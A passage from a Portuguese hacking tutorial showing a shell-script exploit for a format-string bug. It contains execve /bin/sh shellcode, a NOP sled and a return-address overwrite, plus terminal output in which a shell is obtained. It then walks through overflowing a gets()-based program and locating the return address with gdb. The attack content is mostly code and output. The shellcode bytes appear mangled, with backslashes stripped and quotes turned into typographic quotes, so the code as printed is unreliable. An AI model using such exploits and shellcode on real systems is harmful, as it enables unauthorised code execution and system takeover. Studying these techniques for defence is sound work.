E —-[ Escrevendo o exploit em shell script ]—- Agora segue o código do exploit para o segundo programa vulnerável a forma string escrito em shell script: ==========[ fs_xpl.sh ]========== #!/bin/sh ########################################################## # Exploit para programa vulneravel a format string       # ########################################################## # O novo endereco de retonro que apontará para os nops export NEW_RET=`printf “xb0xf8xffxbf”` # Shellcode execve -> /bin/sh export SHELLCODE=`printf “xebx1fx5ex89x76x08x31xc0x88x46″x07x89x46x0cxb0″ “x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31″xdbx89xd8″ “x40xcdx80xe8xdcxffxffxff/bin/sh”` # Aqui temos 150 NOPs(chataum conta isso) export NOP=`printf “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″` # Agora executamos o programa vulnerável com o argumento maligno ./fs_vuln “%28c$NEW_RET” =================================     Vamos aos textes: — — — — — — — — — — newbie@localhost:~$ chmod +x fs_xpl.sh newbie@localhost:~$ ./fs_xpl.sh Você digitou:                            x°øÿ¿ sh-2.05b$ — — — — — — — — — —     Como podemos perceber, não existe segredo algum amigo. Agora é só questão de pratica!                        —-[ CONCLUINDO ]—- Bem amigo, é possível fazer qualquer coisa se correr atraz. Digo mais uma vez que saber fuçar com shell script não é questão de luxuria mais sim uma necessidade pois o verdadeiro fuçador não constroi coisas pra facilitar, mais trabalha com o que tem em mãos! Existem inumeros metodos a mais de exploitação, talvez até algum que seja mais fácil do que em C ou outra linguagem pois com shell script você interage diretamente com os programas e talz, principalmente falhas em fucões que manipulam arquivos como as que criam arquivos temporários e essas coisas! Bastando apenas saber armazenar a resposta de um comando, filtrar, passar o resultado para outro comando e por ai vai! Veja como é possível explorar qualquer programa por linha de comando: ==========[ xtra_vuln.c ]========== #include <stdio.h> int main() {     char nome[20];     printf(“Qual é o seu nome: “);       gets(nome);     printf(“Olá %s!!nn”, nome); } ===================================     Agora veja como podemos explora-lo: — — — — — — — — — — newbie@localhost:~$ gcc xtra_vuln.c -o xtra_vuln newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core ….. Program terminated with signal 11, Segmentation fault. #0  0×40004443 in ?? () (gdb) q newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core ….. Program terminated with signal 11, Segmentation fault. #0  0×44434241 in ?? () — — — — — — — — — —     já sabemos agora aonde que sobrescreveremos o endereço de retorno! Agora basta fazer o exploit usando o seguinte esquema: — —— — — — — — — — newbie@localhost:~$ echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD > `perl -e ‘print “x78x56x34x12″‘` > buffer.bof newbie@localhost:~$ ./xtra_vuln < buffer.bof Qual é o seu nome: Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCDxV4!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core …. Program terminated with signal 11, Segmentation fault. #0  0×12345678 in ?? () (gdb) — — — — — — — — — —  —-[ Fontes ]—-     0ut0fBound            .::. http://0ut0fbound.ath.cx     Security Focus        .::. http://www.securityfocus.com.br     Google                .::. http://www.google.com.br